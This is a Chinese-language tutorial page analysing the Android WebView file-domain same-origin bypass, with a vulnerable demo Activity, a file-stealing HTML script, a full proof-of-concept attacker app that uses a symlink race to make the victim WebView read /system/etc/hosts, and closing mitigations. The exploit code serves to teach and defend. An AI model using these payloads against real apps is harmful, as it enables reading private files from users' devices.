Android教程網
  1. 首頁
  2. Android 技術
  3. Android 手機
  4. Android 系統教程
  5. Android 游戲
 Android教程網 >> Android技術 >> 關於Android編程 >> Android WebView File域同源策略繞過漏洞淺析

Android WebView File域同源策略繞過漏洞淺析

編輯:關於Android編程

0x00

我們首先講一個webView這個方法的作用:

webView.getSettings().setAllowFileAccessFromFileURLs(false);
為了講解這個方法,我們還是看一個實際的例子。代碼地址還是參考https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo。

代碼如下,和Android WebView遠程代碼執行漏洞簡析一文中的代碼主要區別在於這次加載的attack_file.html。

public class MainActivity extends Activity {
	private WebView webView;
	private Uri mUri;
	private String url;
	String mUrl1 = "file:///android_asset/html/attack_file.html";
	//String mUrl2 = "file:///android_asset/html/test.html";

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);
		webView = (WebView) findViewById(R.id.webview);
		webView.getSettings().setJavaScriptEnabled(true);
		webView.addJavascriptInterface(new JSInterface(), "jsInterface");
		webView.getSettings().setAllowFileAccessFromFileURLs(true);
		webView.setWebChromeClient(new WebChromeClient() {
			@Override
			    public boolean onJsAlert(WebView view, String url, String message,JsResult result) {
			    //Required functionality here
			    return super.onJsAlert(view, url, message, result);
			}
		});
		webView.loadUrl(mUrl1);
	}
	
	
    class JSInterface {
        public String onButtonClick(String text) {
            final String str = text;
            runOnUiThread(new Runnable() {
                @Override
                public void run() {
                    Log.e("leehong2", "onButtonClick: text = " + str);
                    Toast.makeText(getApplicationContext(), "onButtonClick: text = " + str, Toast.LENGTH_LONG).show();
                }
            });
            
            return "This text is returned from Java layer.  js text = " + text;
        }
        
        public void onImageClick(String url, int width, int height) {
            final String str = "onImageClick: text = " + url + "  width = " + width + "  height = " + height;
            Log.i("leehong2", str);
            runOnUiThread(new Runnable() {
                @Override
                public void run() {
                    Toast.makeText(getApplicationContext(), str, Toast.LENGTH_LONG).show();
                }
            });
        }
    }

}
這裡webView.getSettings().setAllowFileAccessFromFileURLs(true),標示可以通過javaScript訪問file文件。

 

我們再來看attack_file.html的代碼:

 


<script>
function stealFile()
{
	var file = "file:///mnt/sdcard/11.txt";
	var xmlHttpReq = new XMLHttpRequest();
	xmlHttpReq.onreadystatechange = function(){
		if(xmlHttpReq.readyState == 4){
			alert(xmlHttpReq.responseText);
		}
	}

xmlHttpReq.open("GET", file);
xmlHttpReq.send(null);
}
stealFile();
</script>由於setAllowFileAccessFromFileURLs為true,所以webView.load這個html可以返回/mnt/sdcard/11.txt的值。

 

如果setAllowFileAccessFromFileURLs為false,webView.load這個html不可以返回/mnt/sdcard/11.txt的值。


0x01

即使setAllowFileAccessFromFileURLs為false,我們通過一種方式也可以跨過這個限制,那就是Android WebView File域同源策略繞過漏洞淺析,請參考WebView File域同源策略繞過漏洞淺析。

參考的文章並沒有給出可以運行的工程,這裡給出,以下的講解都來源於這兩個工程:https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo1,https://github.com/jltxgcy/AppVulnerability/tree/master/AttackWebView。

首先運行WebViewFileDemo1,然後再運行AttackWebView來襲擊WebView。

我們首先看WebViewFileDemo1,主要代碼如下:

package com.example.webviewfiledemo;

import android.app.Activity;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import android.webkit.JsResult;
import android.webkit.WebChromeClient;
import android.webkit.WebView;
import android.widget.Toast;

public class MainActivity extends Activity {
	private WebView webView;
	private Uri mUri;
	private String url;

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);
		webView = (WebView) findViewById(R.id.webview);
		webView.getSettings().setJavaScriptEnabled(true);
		webView.addJavascriptInterface(new JSInterface(), "jsInterface");
		webView.getSettings().setAllowFileAccessFromFileURLs(false);
		//webView.getSettings().setAllowFileAccess(false);
		webView.setWebChromeClient(new WebChromeClient() {
			@Override
			    public boolean onJsAlert(WebView view, String url, String message,JsResult result) {
			    //Required functionality here
			    return super.onJsAlert(view, url, message, result);
			}
		});
		
		Intent i = getIntent();
		if (i != null) {
			mUri = i.getData();
		}
		if (mUri != null) {
			url = mUri.toString();
		}
		if (url != null) {
			webView.loadUrl(url);
		}
	}

}

這個Activity接收來自外部的Intent,提取Intent裡面的url並加載。

接著我們來看AttackWebView工程,這裡就是向com.example.webviewfiledemo.MainActivity發送Intent的工程。代碼如下:

public class MainActivity extends Activity {
	public final static String HTML = 
			"
" + "Wait a few seconds." + "<script>" + "var d = document;"+ "function doitjs(){"+ "var xhr = new XMLHttpRequest;"+ "xhr.onload = function(){"+ "var txt = xhr.responseText;"+ "d.body.appendChild(d.createTextNode(txt));"+ "alert(txt);"+"};"+ "xhr.open('GET',d.URL);"+ "xhr.send(null);"+ "}"+ "setTimeout(doitjs,8000);"+ "</script>"+ ""; public static String MY_TMP_DIR; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); MY_TMP_DIR = getDir("payload_odex", MODE_PRIVATE).getAbsolutePath(); doit(); } public void doit() { String HTML_PATH = MY_TMP_DIR + "/A0" + ".html"; try { cmdexec("mkdir " + MY_TMP_DIR); cmdexec("echo \"" + HTML + "\" > " + HTML_PATH); cmdexec("chmod -R 777 " + MY_TMP_DIR); Thread.sleep(1000); invokeVulnAPP("file://" + HTML_PATH); Thread.sleep(6000); cmdexec("rm " + HTML_PATH); cmdexec("ln -s " + "/system/etc/hosts" + " " + HTML_PATH); } catch (Exception e) { // TODO: handle exception } } public void invokeVulnAPP(String url) { try { Intent intent = new Intent(Intent.ACTION_MAIN,Uri.parse(url)); intent.addCategory(Intent.CATEGORY_LAUNCHER); intent.setClassName("com.example.webviewfiledemo", "com.example.webviewfiledemo.MainActivity"); startActivity(intent); } catch (Exception e) { // TODO: handle exception } } public void cmdexec(String cmd) { try { String[] tmp = new String[] { "/system/bin/sh", "-c", cmd }; Runtime.getRuntime().exec(tmp); } catch (Exception e) { // TODO: handle exception } } } 通過invokeVulnAPP,打開了com.example.webviewfiledemo.MainActivity並傳遞了Intent。這個Activity提取了Url,Url為/sdcard/payload_odex/A0.html,webView加載了這個html,html內容如下:
	public final static String HTML = 
			"
" + "Wait a few seconds." + "<script>" + "var d = document;"+ "function doitjs(){"+ "var xhr = new XMLHttpRequest;"+ "xhr.onload = function(){"+ "var txt = xhr.responseText;"+ "d.body.appendChild(d.createTextNode(txt));"+ "alert(txt);"+"};"+ "xhr.open('GET',d.URL);"+ "xhr.send(null);"+ "}"+ "setTimeout(doitjs,8000);"+ "</script>"+ ""; 當WebViewFileDemo1工程中webView加載A0.html後,這個html的作用是延遲8秒讀取A0.html本身。我們再回到AttackWebView工程,往下看代碼。
cmdexec("mkdir " + MY_TMP_DIR);
			cmdexec("echo \"" + HTML + "\" > " + HTML_PATH);
			cmdexec("chmod -R 777 " + MY_TMP_DIR);
			Thread.sleep(1000);
			invokeVulnAPP("file://" + HTML_PATH);
			Thread.sleep(6000);
			cmdexec("rm " + HTML_PATH);
			cmdexec("ln -s " + "/system/etc/hosts" + " " + HTML_PATH);
調用完invokeVulnAPP後,6秒後,我們首先把A0.html刪除,然後再重新軟連接到/system/etc/hosts。注意此時當WebViewFileDemo1工程中webView加載A0.html,這個html的作用是延遲8秒讀取A0.html本身,所以8秒後讀取的是軟連接/system/etc/hosts。

 

結果如下:

\
 

0x02

如何避免這種情況的發生呢?

1、webView.getSettings. setAllowFileAccess(false);

如果在WebViewFileDemo1工程中com.example.webviewfiledemo.MainActivity的onCreate方法中如果加上了上面的代碼,那麼運行的結果如下:

\

2、webView.getSettings. setJavaScriptEnabled(false);

  1. 上一頁:
  2. 下一頁:
熱門文章
閱讀排行版
Copyright © Android教程網 All Rights Reserved